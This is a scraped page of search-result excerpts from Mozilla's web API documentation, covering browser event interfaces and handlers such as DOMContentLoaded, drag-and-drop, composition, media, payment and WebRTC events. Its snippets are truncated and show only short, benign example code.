... the beforeprint and afterprint events allow pages to change their content before printing starts (perhaps to remove a banner, for example) and then revert those changes after printing has completed.
...And 3 more matches
WindowEventHandlers.onlanguagechange - Web APIs
the onlanguagechange property of the windoweventhandlers mixin is the eventhandler for processing languagechange events.
... these events are received by the object implementing this interface, usually a window, an htmlbodyelement, or an htmliframeelement.
... such an event is sent by the browser to inform that the preferred languages list has been updated.
...And 3 more matches
XRInputSourceEvent.inputSource - Web APIs
the xrinputsourceevent interface's read-only inputsource property specifies the xrinputsource which generated the input event.
... this information lets you handle the event appropriately given the particulars of the user input device being manipulated.
... syntax let inputsource = xrinputsourceevent.inputsource; value an xrinputsource object identifying the source of the user input event.
...And 3 more matches
XRInputSourceEventInit.inputSource - Web APIs
the xrinputsourceeventinit dictionary's inputsource property is used when calling the xrinputsourceevent() constructor to specify the xrinputsource from which the newly-created event is being sent.
... of course, as a general rule, you won't need to create xrinputsourceeventinit objects yourself.
... these events are generated by and sent to you by the webxr infrastructure.
...And 3 more matches
XRInputSourceEventInit - Web APIs
the xrinputsourceeventinit dictionary is used when calling the xrinputsourceevent() constructor to provide configuration options for the newly-created xrinputsourceevent object to take on.
... properties the xrinputsourceeventinit dictionary inherits properties from the eventinit dictionary.
... it also offers the following: frame an xrframe object representing the event frame during which the event took place.
...And 3 more matches
XRSession: squeeze event - Web APIs
the webxr event squeeze is sent to an xrsession when one of the session's input sources has completed a primary squeeze action.
... bubbles yes cancelable no interface xrinputsourceevent event handler property onsqueeze for details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources.
... examples the following example uses addeventlistener() to set up a handler for the squeeze event.
...And 3 more matches
Drag and drop events - Archive of obsolete content
firefox 3 adds two new events that allow you to determine when drag operations begin and end.
... these events are new in the current working draft of the html 5 specification.
... note: the drag and drop event support advertised in the firefox 3 release notes is not the same as the events described in the drag and drop section of the html 5 working draft.
...And 2 more matches
Listening to events on all tabs
firefox 3.5 adds support for listening to progress events on all tabs.
... adding a listener to listen to progress events on all tabs, call the browser's addtabsprogresslistener() method: gbrowser.addtabsprogresslistener(myprogresslistener); myprogresslistener is an object that implements the callbacks used to provide notifications of progress events.
... removing a listener to remove a previously installed progress listener, call removetabsprogresslistener(): gbrowser.removetabsprogresslistener(myprogresslistener); implementing a listener the listener object itself has five methods it can implement to handle various events: onlocationchange called when the uri of the document displayed in the tab changes.
...And 2 more matches
CloseEvent() - Web APIs
the closeevent() constructor creates a new closeevent.
... syntax var event = new closeevent(typearg, closeeventinit); values typearg is a domstring representing the name of the event.
... closeeventinit optional is a closeeventinit dictionary, having the following fields: "wasclean", optional and defaulting to false, of type long, indicates if the connection has been closed cleanly or not.
...And 2 more matches
ContentIndexEvent.id - Web APIs
the read-only id property of the contentindexevent interface is a string which identifies the deleted content index via it's id.
... syntax var id = contentindexevent.id; value a string representation of the deleted content index id.
... examples this example listens for the contentdelete event and logs the removed content index id.
...And 2 more matches
DeviceMotionEventAcceleration - Web APIs
a devicemotioneventacceleration object provides information about the amount of acceleration the device is experiencing along all three axes.
... properties devicemotioneventacceleration.x read only the amount of acceleration along the x axis.
... devicemotioneventacceleration.y read only the amount of acceleration along the y axis.
...And 2 more matches
DeviceMotionEventRotationRate - Web APIs
a devicemotioneventrotationrate object provides information about the rate at which the device is rotating around all three axes.
... properties devicemotioneventrotationrate.alpha read only the amount of rotation around the z axis, in degrees per second.
... devicemotioneventrotationrate.beta read only the amount of rotation around the x axis, in degrees per second.
...And 2 more matches
DeviceProximityEvent - Web APIs
the deviceproximityevent interface provides information about the distance of a nearby physical object using the proximity sensor of a device.
... properties deviceproximityevent.max read only the maximum sensing distance the sensor is able to report, in centimeters.
... deviceproximityevent.min read only the minimum sensing distance the sensor is able to report, in centimeters.
...And 2 more matches
Document: DOMContentLoaded event - Web APIs
the domcontentloaded event fires when the initial html document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
... bubbles yes cancelable yes (although specified as a simple event that isn't cancelable) interface event event handler property none a different event, load, should be used only to detect a fully-loaded page.
... examples basic usage document.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); delaying domcontentloaded <script> document.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); for( let i = 0; i < 1000000000; i++) {} // this synchronous script is going to delay parsing of the dom, // so the domcontentloaded event is going to...
...And 2 more matches
Document: copy event - Web APIs
the copy event fires when the user initiates a copy action through the browser's user interface.
... bubbles yes cancelable yes interface clipboardevent event handler property oncopy the original target for this event is the element that was the intended target of the copy action.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
...And 2 more matches
Document: cut event - Web APIs
the cut event is fired when the user has initiated a "cut" action through the browser's user interface.
... bubbles yes cancelable yes interface clipboardevent event handler property oncut the original target for this event is the element that was the intended target of the cut action.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
...And 2 more matches
Document: drag event - Web APIs
the drag event is fired every few hundred milliseconds as an element or text selection is being dragged by the user.
... interface dragevent event handler property ondrag examples see this code in a jsfiddle demo or interact with it below.
... html <div class="dropzone"> <div id="draggable" draggable="true" ondragstart="event.datatransfer.setdata('text/plain',null)"> this div is draggable </div> </div> <div class="dropzone"></div> <div class="dropzone"></div> <div class="dropzone"></div> css #draggable { width: 200px; height: 20px; text-align: center; background: white; } .dropzone { width: 200px; height: 20px; background: blueviolet; margin-bottom: 10px; padding: 10px; } javascript var dragged; /* events fired on the draggable target */ document.addeventlistener("drag", function(event) { }, false); document.addeventlistener("dragstart", function(event) { // store a ref.
...And 2 more matches
Document: fullscreenchange event - Web APIs
the fullscreenchange event is fired immediately after the browser switches into or out of full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenchange the event is sent to the element that is transitioning into or out of full-screen mode, and this event then bubbles up to the document.
... examples in this example, a handler for the fullscreenchange event is added to the document.
...And 2 more matches
Document: paste event - Web APIs
the paste event is fired when the user has initiated a "paste" action through the browser's user interface.
... bubbles yes cancelable yes interface clipboardevent event handler property onpaste the original target for this event is the element that was the intended target of the paste action.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
...And 2 more matches
Document: transitionrun event - Web APIs
the transitionrun event is fired when a css transition is first created, i.e.
... bubbles yes cancelable no interface transitionevent event handler property ontransitionrun the original target for this event is the element that had the transition applied.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
...And 2 more matches
Document: transitionstart event - Web APIs
the transitionstart event is fired when a css transition has actually started, i.e., after any transition-delay has ended.
... bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitionstart the original target for this event is the element that had the transition applied.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
...And 2 more matches
DragEvent.dataTransfer - Web APIs
the dragevent.datatransfer property holds the drag operation's data (as a datatransfer object).
... syntax let data = dragevent.datatransfer; return value data a datatransfer object which contains the drag event's data.
... example this example illustrates accessing the drag and drop data within the dragend event handler.
...And 2 more matches
Element: beforescriptexecute event - Web APIs
this event was a proposal in an early version of the specification.
... the beforescriptexecute event is fired when a script is about to be executed.
... cancelling the event prevents the script from executing.
...And 2 more matches
Element: compositionend event - Web APIs
the compositionend event is fired when a text composition system such as an input method editor completes or cancels the current composition session.
... for example, this event could be fired after a user finishes entering a chinese character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionend', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: grid; ...
...And 2 more matches
Element: compositionstart event - Web APIs
the compositionstart event is fired when a text composition system such as an input method editor starts a new composition session.
... for example, this event could be fired after a user starts entering a chinese character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionstart', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: grid...
...And 2 more matches
Element: compositionupdate event - Web APIs
the compositionupdate event is fired when a new character is received in the context of a text composition session controlled by a text composition system such as an input method editor.
... for example, this event could be fired while a user enters a chinese character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionupdate', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: gri...
...And 2 more matches
Element: contextmenu event - Web APIs
the contextmenu event fires when the user attempts to open a context menu.
... this event is typically triggered by clicking the right mouse button, or by pressing the context menu key.
... any right-click event that is not disabled (by calling the event's preventdefault() method) will result in a contextmenu event being fired at the targeted element.
...And 2 more matches
Element: copy event - Web APIs
the copy event fires when the user initiates a copy action through the browser's user interface.
... bubbles yes cancelable yes interface clipboardevent event handler property oncopy the event's default action is to copy the selection (if any) to the clipboard.
... a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
...And 2 more matches
Element: dblclick event - Web APIs
the dblclick event fires when a pointing device button (such as a mouse's primary button) is double-clicked; that is, when it's rapidly clicked twice on a single element within a very short span of time.
... dblclick fires after two click events (and by extension, after two pairs of mousedown and mouseup events).
... bubbles yes cancelable yes interface mouseevent event handler property ondblclick examples this example toggles the size of a card when you double click on it.
...And 2 more matches
Element: gesturestart event - Web APIs
the gesturestart event is fired when multiple fingers contact the touch surface, thus starting a new gesture.
... during the gesture, gesturechange events will be fired.
... when the gesture has ended, a gestureend event will be fired.
...And 2 more matches
Element: mouseover event - Web APIs
the mouseover event is fired at an element when a pointing device (such as a mouse or trackpad) is used to move the cursor onto the element or one of its child elements.
... bubbles yes cancelable yes interface mouseevent event handler property onmouseover examples the following example illustrates the difference between mouseover and mouseenter events.
... html <ul id="test"> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> javascript let test = document.getelementbyid("test"); // this handler will be executed only once when the cursor // moves over the unordered list test.addeventlistener("mouseenter", function( event ) { // highlight the mouseenter target event.target.style.color = "purple"; // reset the color after a short delay settimeout(function() { event.target.style.color = ""; }, 500); }, false); // this handler will be executed every time the cursor // is moved over a different list item test.addeventlistener("mouseover", function( event ) { // highlight the mouseover target event.target.style.color = "orange"; // reset the color after a short delay settimeout(function() { event.target.styl...
...And 2 more matches
Element: webkitmouseforcewillbegin event - Web APIs
safari for macos fires the non-standard webkitmouseforcewillbegin event at an element before firing the initial mousedown event.
... this offers the opportunity to tell the system not to trigger any default force touch actions if and when the click turns into a force touch event.
... to instruct macos not to engage any default force touch actions if the user apply enough pressure to activate a force touch event, call preventdefault() on the webkitmouseforcewillbegin event object.
...And 2 more matches
Event.originalTarget - Web APIs
the original target of the event before any retargetings.
... (mozilla-specific) in presence of xbl anonymous content this will be the anonymous node the event originally fired on.
... see anonymous content#event_flow_and_targeting for more details.
...And 2 more matches
ExtendableEvent() - Web APIs
the extendableevent() constructor creates a new extendableevent object.
... syntax var extendableevent = new extendableevent(type, init); parameters type the type of the extendableevent, for example install, activate.
... init optional an options object containing any custom settings that you want to apply to the event object.
...And 2 more matches
ExtendableMessageEvent() - Web APIs
the extendablemessageevent() constructor creates a new extendablemessageevent object instance.
... syntax var extendablemessageevent = new extendablemessageevent(type, init); parameters type a domstring that defines the type of the message event being created.
... init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any data type.
...And 2 more matches
FetchEvent.navigationPreload - Web APIs
the navigationpreload read-only property of the fetchevent interface returns a promise that resolves to the instance of navigationpreloadmanager associated with the current service worker registration.
... syntax var promise = fetchevent.navigationpreload value a promise that resolves to the instance of navigationpreloadmanager.
... example the following example shows the implementation of a fetch event that uses a preloaded response.
...And 2 more matches
FocusEvent.relatedTarget - Web APIs
the focusevent.relatedtarget read-only property is the secondary target, depending on the type of event: event name target relatedtarget blur the eventtarget losing focus the eventtarget receiving focus (if any).
... focus the eventtarget receiving focus the eventtarget losing focus (if any) focusin the eventtarget receiving focus the eventtarget losing focus (if any) focusout the eventtarget losing focus the eventtarget receiving focus (if any) note that many elements can't have focus, which is a common reason for relatedtarget to be null.
... mouseevent.relatedtarget is a similar property for mouse events.
...And 2 more matches
GlobalEventHandlers.onloadstart - Web APIs
the onloadstart property sets and returns the event handler for the loadstart event.
... syntax element.onloadstart = handlerfunction; var handlerfunction = element.onloadstart; handlerfunction should be either null or a javascript function specifying the handler for the event.
... notes see the dom event handlers page for information on working with on...
...And 2 more matches
GlobalEventHandlers.oncancel - Web APIs
the oncancel property of the globaleventhandlers mixin is an eventhandler for processing cancel events sent to a <dialog> element.
... the cancel event fires when the user indicates a wish to dismiss a <dialog>.
... this event handler prevents the event from bubbling, so any parent handlers are not notified of the event.
...And 2 more matches
GlobalEventHandlers.ondrag - Web APIs
a global event handler for the drag event.
... syntax var draghandler = targetelement.ondrag; return value draghandler the drag event handler for element targetelement.
... example this example includes the use of the ondrag attribute handler to set an element's drag event handler.
...And 2 more matches
GlobalEventHandlers.ondragover - Web APIs
a global event handler for the dragover event.
... syntax var dragoverhandler = targetelement.ondragover; return value dragoverhandler the dragover event handler for element targetelement.
... example this example demonstrates using the ondragover attribute handler to set an element's dragover event handler.
...And 2 more matches
GlobalEventHandlers.ondragstart - Web APIs
a global event handler for the dragstart event.
... syntax var dragstarthandler = targetelement.ondragstart; return value dragstarthandler the dragstart event handler for element targetelement.
... example this example demonstrates using the ondragstart attribute handler to set an element's dragstart event handler.
...And 2 more matches
GlobalEventHandlers.ondrop - Web APIs
a global event handler for the drop event.
... syntax var drophandler = targetelement.ondrop; return value drophandler the drop event handler for element targetelement.
... example this example demonstrates the use of the ondrop attribute to define an element's drop event handler.
...And 2 more matches
GlobalEventHandlers.onemptied - Web APIs
the onemptied property sets and returns the event handler for the emptied event.
... syntax element.onemptied = handlerfunction; var handlerfunction = element.onemptied; handlerfunction should be either null or a javascript function specifying the handler for the event.
... notes see the dom event handlers page for information on working with on...
...And 2 more matches
GlobalEventHandlers.oninvalid - Web APIs
the oninvalid property of the globaleventhandlers mixin is an eventhandler that processes invalid events.
... the invalid event fires when a submittable element has been checked and doesn't satisfy its constraints.
...the function receives a event object as its sole argument.
...And 2 more matches
GlobalEventHandlers.onload - Web APIs
the onload property of the globaleventhandlers mixin is an eventhandler that processes load events on a window, xmlhttprequest, <img> element, etc.
... the load event fires when a given resource has loaded.
... syntax target.onload = functionref; value functionref is the handler function to be called when the window’s load event fires.
...And 2 more matches
GlobalEventHandlers.onmousedown - Web APIs
the onmousedown property of the globaleventhandlers mixin is an eventhandler that processes mousedown events.
... the mousedown event fires when the user depresses the mouse button.
...the function receives a mouseevent object as its sole argument.
...And 2 more matches
GlobalEventHandlers.onscroll - Web APIs
the onscroll property of the globaleventhandlers mixin is an eventhandler that processes scroll events.
... the scroll event fires when the document view or an element has been scrolled, whether by the user, a web api, or the user agent.
...the function receives a uievent object as its sole argument.
...And 2 more matches
GlobalEventHandlers.onsubmit - Web APIs
the onsubmit property of the globaleventhandlers mixin is an eventhandler that processes submit events.
... the submit event fires when the user submits a form.
...the function receives a focusevent object as its sole argument.
...And 2 more matches
HTMLElement: animationend event - Web APIs
the animationend event is fired when a css animation has completed.
... if the animation aborts before reaching completion, such as if the element is removed from the dom or the animation is removed from the element, the animationend event is not fired.
... bubbles yes cancelable no interface animationevent event handler property onanimationend examples this example gets an element that's being animated and listens for the animationend event: const animated = document.queryselector('.animated'); animated.addeventlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: const animated = document.queryselector('.animated'); animated.onanimationend = () => { console.log('animation ended'); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate an...
...And 2 more matches
HTMLElement: beforeinput event - Web APIs
the dom beforeinput event fires when the value of an <input>, <select>, or <textarea> element is about to be modified.
... the event also applies to elements with contenteditable enabled, and to any element when designmode is turned on.
... in the case of contenteditable and designmode, the event target is the editing host.
...And 2 more matches
HTMLFormElement: reset event - Web APIs
the reset event fires when a <form> is reset.
... bubbles yes (although specified as a simple event that doesn't bubble) cancelable yes interface event event handler property globaleventhandlers.onreset examples this example uses eventtarget.addeventlistener() to listen for form resets, and logs the current event.timestamp whenever that occurs.
... html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="reset">reset form</button> </form> <p id="log"></p> javascript function logreset(event) { log.textcontent = `form reset!
...And 2 more matches
HTMLMediaElement: ended event - Web APIs
the ended event is fired when playback or streaming has stopped because the end of the media was reached or because no further data is available.
... this event occurs based upon htmlmediaelement (<audio> and <video>) fire ended when playback of the media reaches the end of the media.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onended specification html5 media this event is also defined in media capture and streams and web audio api examples these examples add an event listener for the htmlmediaelement's ended event, then post a message when that event handler has reacted to the event firing.
...And 2 more matches
HTMLMediaElement: loadstart event - Web APIs
the loadstart event is fired when the browser has started to load a resource.
... bubbles no cancelable no interface event event handler property onloadstart examples live example html <div class="example"> <button type="button">load video</button> <video controls width="250"></video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } video { grid-area: video; } .event-log { grid-area: log; } .event-log>label...
... { display: block; } js const loadvideo = document.queryselector('button'); const video = document.queryselector('video'); const eventlog = document.queryselector('.event-log-contents'); let source = null; function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}\n`; } video.addeventlistener('loadstart', handleevent); video.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interactive-examples.mdn.mozill...
...And 2 more matches
HTMLMediaElement: progress event - Web APIs
the progress event is fired periodically as the browser loads a resource.
... bubbles no cancelable no interface event event handler property onprogress examples live example html <div class="example"> <button type="button">load video</button> <video controls width="250"></video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } video { grid-area: video; } .event-log { grid-area: log; } .event-log>label ...
...{ display: block; } javascript const loadvideo = document.queryselector('button'); const video = document.queryselector('video'); const eventlog = document.queryselector('.event-log-contents'); let source = null; function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}\n`; } video.addeventlistener('loadstart', handleevent); video.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interactive-examples.mdn...
...And 2 more matches
HTMLSlotElement: slotchange event - Web APIs
the slotchange event is fired on an htmlslotelement instance (<slot> element) when the node(s) contained in that slot change.
... note: the slotchange event doesn't fire if the children of a slotted node change — only if you change (e.g.
... bubbles yes cancelable no interface event event handler property none in order to trigger a slotchange event, one has to set or remove the slot attribute.
...And 2 more matches
HTMLTrackElement: cuechange event - Web APIs
the cuechange event fires when a texttrack has changed the currently displaying cues.
... the event is fired at both the texttrack and at the htmltrackelement in which it's being presented, if any.
... bubbles no cancelable no interface event event handler oncuechange examples on the texttrack you can set up a listener for the cuechange event on a texttrack using the addeventlistener() method: track.addeventlistener('cuechange', function () { let cues = track.activecues; // array of current cues }); or you can just set the oncuechange event handler property: track.oncuechange = function () { let cues = track.activecues; // array of current cues } on the track element the underlying texttrack, indicated by the track property, receives a cuechange event every time the currently-presented cue is changed.
...And 2 more matches
IDBDatabase: abort event - Web APIs
the abort event is fired on idbdatabase when a transaction is aborted and bubbles up to the connection object.
... bubbles yes cancelable no interface event event handler property onabort examples this example opens a database (creating the database if it does not exist), then opens a transaction, adds a listener to the abort event, then aborts the transaction to trigger the event.
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; db.addeventlistener('abort', () => { console.log('tra...
...And 2 more matches
KeyboardEvent: code values - Web APIs
code values code values on windows this table shows the windows scan codes representing keys and the keyboardevent.code values which correspond to those hardware keys.
... keyboardevent.code value code firefox chrome 0x0000 "unidentified" "" 0x0001 "escape" "escape" 0x0002 "digit0" "digit0" 0x0003 "digit1" "digit1" 0x0004 "digit2" "digit2" 0x0005 "digit3" "digit3" 0x0006 "digit4" "digit4" 0x0007 "digit5" "digit5" 0x0008 "digit6" "digit6" 0x0009 "digit7" "digit7" 0x000a "digit8" "digit8" 0x000b "digit9" "digit9" 0x000c "minus" "minus" 0x000d "equal" "equal" 0x000e "backspace" "backspace" 0x000f "tab" "tab" 0x0010 "ke...
... "launchmediaplayer" ("mediaselect" prior to firefox 49) "" 0xe06e ~ 0xe0f0 "unidentified" "" 0xe0f1 (hanja key with korean keyboard layout) "lang2" "" 0xe0f2 (han/yeong key with korean keyboard layout) "lang1" "" code values on mac on mac os x, it's hard to get scancode or something which can distinguish a physical key from a key event.
...And 2 more matches
MediaRecorder: dataavailable event - Web APIs
the mediarecorder interface's dataavailable event is fired when the mediarecorder delivers media data to your application for its use.
... bubbles no cancelable no interface blobevent event handler property ondataavailable for details of the all the possible reasons this event may raise, see the documentation for the event handler property: ondataavailable.
... examples using addeventlistener to listen for dataavailable events: ...
...And 2 more matches
MediaStreamTrack: ended event - Web APIs
the ended event of the mediastreamtrack interface is fired when playback or streaming has stopped because the end of the media was reached or because no further data is available.
... bubbles no cancelable no interface event event handler property mediastreamtrack.onended usage notes ended events fire when the media stream track's source permanently stops sending data on the stream.
... a remote peer has permanently stopped sending data; pausing media does not generate an ended event.
...And 2 more matches
MediaStreamTrackEvent() - Web APIs
the mediastreamtrackevent() constructor returns a newly created mediastreamtrackevent object, which represents an event announcing that a mediastreamtrack has been added to or removed from a mediastream.
... syntax var trackevent = new mediastreamtrackevent(type, {track: amediastreamtrack}); parameters the mediastreamtrackevent() constructor also inherits arguments from event().
... type a domstring representing the name of the type of the mediastreamtrackevent.
...And 2 more matches
MerchantValidationEvent() - Web APIs
the merchantvalidationevent() constructor creates a new merchantvalidationevent object.
... you should not have to create these events yourself; instead, just handle the merchantvalidation event.
... syntax merchantvalidationevent = new merchantvalidationevent(type, options); parameters type a domstring which must be merchantvalidation, the only type of event which uses the merchantvalidationevent interface.
...And 2 more matches
MouseEvent.getModifierState() - Web APIs
the mouseevent.getmodifierstate() method returns the current state of the specified modifier key: true if the modifier is active (i.e., the modifier key is pressed or locked), otherwise, false.
... see the document of keyboardevent.getmodifierstate() for details.
... syntax var active =​ event.getmodifierstate(keyarg); returns a boolean parameters keyarg a modifier key value.
...And 2 more matches
PageTransitionEvent - Web APIs
the pagetransitionevent event object is available inside handler functions for the pageshow and pagehide events, fired when a document is being loaded or unloaded.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/pagetransitionevent" target="_top"><r...
...ect x="116" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">pagetransitionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, event.
...And 2 more matches
PaymentMethodChangeEvent - Web APIs
the paymentmethodchangeevent() constructor creates a new paymentmethodchangeevent object providing details about a paymentmethodchange event.
... syntax paymentmethodchangeevent = new paymentmethodchangeevent(type, options); parameters type a domstring which must contain the string paymentmethodchange, the name of the only type of event which uses the paymentmethodchangeevent interface.
... options optional an optional paymentmethodchangeeventinit dictionary which may contain zero or more of the following properties: methodname optional a domstring containing the payment method identifier for the payment handler being used.
...And 2 more matches
PaymentMethodChangeEvent.methodDetails - Web APIs
the read-only methoddetails property of the paymentmethodchangeevent interface is an object containing any data the payment handler may provide to describe the change the user has made to their payment method.
... syntax details = paymentmethodchangeevent.methodname; value an object containing any data needed to describe the changes made to the payment method.
... example this example uses the paymentmethodchange event to watch for changes to the payment method selected for apple pay, in order to compute a discount if the user chooses to use a visa card as their payment method.
...And 2 more matches
PaymentMethodChangeEvent.methodName - Web APIs
the read-only methodname property of the paymentmethodchangeevent interface is a string which uniquely identifies the payment handler currently selected by the user.
... the payment handler may be a payment technology, such as apple pay or android pay, and each payment handler may support multiple payment methods; changes to the payment method within the payment handler are described by the paymentmethodchangeevent.
... syntax var methodname = paymentmethodchangeevent.methodname; value a domstring which uniquely identifies the currently-selected payment handler.
...And 2 more matches
PaymentMethodChangeEvent - Web APIs
the paymentmethodchangeevent interface of the payment request api describes the paymentmethodchange event which is fired by some payment handlers when the user switches payment instruments (e.g., a user selects a "store" card to make a purchase while using apple pay).
... constructor paymentmethodchangeevent() creates and returns a new paymentmethodchangeevent object, optionally initialized with values taken from a given paymentmethodchangeeventinit dictionary.
... properties in addition to the properties below, this interface includes properties inherited from paymentrequestupdateevent.
...And 2 more matches
PointerEvent.pressure - Web APIs
the pressure read-only property of the pointerevent interface indicates the normalized pressure of the pointer input.
... syntax var pressure = pointerevent.pressure; return value pressure the normalized pressure of the pointer input in the range of 0 to 1, inclusive, where 0 and 1 represent the minimum and maximum pressure the hardware is capable of detecting, respectively.
... example in this snippet, when a pointerdown event is fired, different functions are called depending on the value of the event's pressure property.
...And 2 more matches
ProgressEvent() - Web APIs
the progressevent() constructor returns a newly created progressevent, representing the current completion of a long process.
... syntax progressevent = new progressevent(type, {lengthcomputable: abooleanvalue, loaded: anumber, total: anumber}); arguments the progressevent() constructor also inherits arguments from event().
... type is a domstring representing the name of the type of the progressevent.
...And 2 more matches
PromiseRejectionEvent.promise - Web APIs
the promiserejectionevent interface's promise read-only property indicates the javascript promise which was rejected.
... you can examine the event's promiserejectionevent.reason property to learn why the promise was rejected.
... syntax promise = promiserejectionevent.promise value the javascript promise which was rejected, and whose rejection went unhandled.
...And 2 more matches
RTCDataChannel: bufferedamountlow event - Web APIs
a bufferedamountlow event is sent to an rtcdatachannel when the number of bytes currently in the outbound data transfer buffer falls below the threshold specified in bufferedamountlowthreshold.
... bufferedamountlow events aren't sent if bufferedamountlowthreshold is 0.
... bubbles no cancelable no interface event event handler property onbufferedamountlow examples this example sets up a handler for bufferedamountlow to request more data any time the data channel's buffer falls below the number of bytes specified by bufferedamountlowthreshold, which we have set to 65536.
...And 2 more matches
RTCPeerConnection: datachannel event - Web APIs
a datachannel event is sent to an rtcpeerconnection instance when an rtcdatachannel has been added to the connection, as a result of the remote peer calling rtcpeerconnection.createdatachannel().
... note: this event is not dispatched when the local end of the connection creates the channel.
... bubbles no cancelable no interface rtcdatachannelevent event handler property ondatachannel examples this example sets up a function that handles datachannel events by gathering the information needed to communicate with the newly added rtcdatachannel and by adding event handlers for the events that occur on that channel.
...And 2 more matches
RTCPeerConnection: removestream event - Web APIs
the obsolete removestream event was sent to an rtcpeerconnection to inform it that a mediastream had been removed from the connection.
... you can use the rtcpeerconnection interface's onremovestream property to set a handler for this event.
... this is the counterpart to the addstream event, which is also obsolete.
...And 2 more matches
RTCPeerConnectionIceErrorEvent - Web APIs
the rtcpeerconnectioniceerrorevent interface—based upon the event interface—provides details pertaining to an ice error announced by sending an icecandidateerror event to the rtcpeerconnection object.
... constructor rtcpeerconnectioniceerrorevent() creates and returns a new rtcpeerconnectioniceerrorevent object, with its type and other properties initialized as specified in the parameters.
